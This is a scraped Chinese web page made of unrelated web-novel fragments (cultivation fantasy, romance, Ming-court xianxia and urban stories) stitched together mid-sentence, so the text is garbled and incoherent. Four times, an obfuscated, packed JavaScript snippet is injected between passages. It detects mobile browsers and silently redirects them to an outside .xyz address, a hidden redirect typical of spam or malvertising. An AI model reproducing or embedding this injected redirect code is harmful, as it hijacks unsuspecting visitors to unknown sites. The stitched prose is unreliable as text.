毕竟,两者的实力实在是相差太悬殊了,一个是天绝境,一个是天元境。就好比一只大象的对手是一只蚂蚁一般。 原来,他对于自己的不在意的人,是这样冷漠无情,甚至没有半分感情可言,就算李妍也是受害者,并且从某种意义上来说,很值得人同情,可他却能够做到这样狠绝,我想那个孩子,肯定是在他的默许之下没有的。 这不是一直想要的结果吗?已经实现了,我再也不用担惊受怕,害怕自己有一天会和乔荆南走到一条绝路,他有妻子,有儿子,我不该对他有任何幻想。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669460|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟,随着魔魂的强化,林辰的魔道意志也会跟着增强。届时各种强大的黑暗负面意志冲击而来,若是心神失守,就会走火入魔。 一进门,就看到了幸福养鸡场的两个毒枭被打死,身上的铁片有上百个凹下去的地方,双手紧紧握着两个ak,子弹已经打光。 而是林辰的神魂战体都已经达到了突破瓶颈,便想借恶龙的势冲击境界。 “看来,现在你已经是决定了要这么做了,好吧,既然是这样的哈,那么我现在说什么,这都是没有用了,如此,你便是去吸收这一份力量吧,若是在这过程中,你遇到了任何的问题,呢我自然都是会帮助你的。 “呵呵。”白冷叶笑出声来,嘴角轻扬,找了一个舒服的姿势靠好,轻轻闭上了眼睛。 辅导员及其信任的眼神破碎,又一巴掌拍在办公桌上,这次连他放在办公桌上的那杯水也震动了起来,我和贺跃还有梅婷,又再次随着那巴掌声惊吓了一跳。 余清媚诧异的回头,眼前一黑,他的身体倾了过来,唇上他轻轻的滑过,一个蜻蜓似的吻落在了她的唇上。 第二百四十六章 散修朱聪 大明,京城。 西苑,玉熙宫之中。 “奴婢倒是可以利用那些散修走私灵石生意。”吕芳对嘉靖说道。 “不,”然而坐在道台上的嘉靖,却是微微摇头,道:“大明仙宗的目标太大,未来是布局修仙世界的主力,你的‘明日楼’,朕打算将其打造成一个贯穿修仙世界的庞大商会。” “等到大明仙宗的势力发 一个城主的身份,可以方便他从事更大规模的收购活动而不会引起怀疑。 如此三番打发了上来见礼的其他丫鬟,两人这才得空往后头走去。 眼睛呆呆的看着天花板,又想到了地狱里的生活,冥王竟然没上来找茬,还真是奇怪? “有家总比没家要好,既然是言哥儿的家,以后琳琅岛就是我们哥俩的家了。”王启哈哈一笑。 那可是真正的社团大佬,虽然他们号称无冕之王,但也不能傻乎乎的惹这尊大神。 “你做了什么?”早已习惯了她的无礼,慕容晴莞平静的问道,清灵的水眸中却隐约掠过一道暗芒。 叶剑现在提出拿聂氏祖先的产业作为他和韩寒决战的赌注,他们还是有所顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669461|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑的。 慕容晴莞看着一脸坚持的她,心底的无奈蔓延开來,她又何尝舍得她,只是自己的生命已经所剩无几了,如若不在还有能力的时候把该做的都做了,怕是真到了那一天,就晚了。 猿灵皱了皱眉头,看了一眼来人,那是一个少年模样的修真者,脸蛋白嫩,红扑扑的,身上穿着红色衣服,不过已经有多处烧伤,变得破破烂烂。 特别是凌潇潇在叶剑面前表现出了的某种感情,让他更是妒火中烧。 阿布哈塔克像是一位正给予学生谆谆教诲的历史教师一样开口道。 第二百四十八章 本章无题 高原之上。 天穹阴沉,飘荡着雪花。 嘉靖站在一处高草坪上,吕芳恭敬的站在他身旁,裕王跟景王二人自然也在。 虽然二人没有上交本命,不过名义上,依旧由二人协理内阁,年底议政自然要参加。 “嗡嗡嗡。” 天地间,一道道金色的大幕落下,严嵩、严世蕃,胡宗宪等人全部出现。 看 入夜,明月高悬,山上非常安静,除了山前偶尔传来的蛙鸣,再无其他的声响。 一个阴测测的声音忽然在空气中开始回荡,然后就出现了一个白色的人影,出现在了林枫的面前,一股巨大无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669462|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魔气顿时就爆发出来,充斥着整个空间。 其中,被称作‘超频连线者’的玩家们,能够把现实世界的一分钟,在游戏世界当大半天来用。 三分钟过去,魁梧男子嘴里大口喘着气,看样子已经筋疲力尽,不过他并没有一刻放松,眼睛死死盯着比自己矮了一大截的年轻人。 第二百四十九章 众人震撼,皇上的背后根本不是仙界! 嘉靖七十六年,十月十六。 此时,早已过了立冬,天气阴沉沉的,天已渐渐转凉。 午时,内阁群臣前往玉熙宫议政。 这一次玉熙宫议政,时隔上次高原议政,还不到一年时间,这个时候,不过众人确实一点都不惊讶。 所有人的想法和严世蕃不约而同,全都认为这次皇上应该是给众人分发灵石才召开议政。 这处园林式的宅子位于辰州城东,三塔都隐约能见,着实是个好地段。张宁回到家里,直觉清幽安静,渐渐地便放松下来;如今想来无论有多大的事,经营好内事还是挺重要的,不然烦劳了都没个地方调整。 看到那目空一切的棒子妞跪在地上干这种事情,云牧并不排斥,反倒莫名其妙地有了一种为国争光的荣誉感。 朱恒的建议十分中肯,明显可以端掉的炮阵、哪有坐视被动挨揍的道理? 一见如此结果,阎无辜精光一闪,瞬即拔高魔元,护体罡气喷薄而出,竟是直接要施展绝招。 “她……你那位朋友遇到什么事了?”王向桢果然沉不住气了,语气有些紧张。 这是中广、中视两大传媒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669463|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集团,合资建成的广播电视大楼,是台湾第一栋专供广播电视媒体专用的大厦。 金光到眼前分为三点锐芒,“叮!”一声锐响,一点刺中祝童胸前。两点盘旋一周,又返回神钩王寒身边。 宁嘉很想八卦一下论坛照片的事情,一看到云牧冷着脸,她打消了这个念头。今天情况不太对,还是以后找个机会悄悄问他比较好。 就是蒙古能将他供奉,能够让他的教派广为流传,而到后边,他有心想不为蒙古干事,却又得担心蒙古人如何对待宁玛教的信众,不得不继续忠于蒙古,直至战死。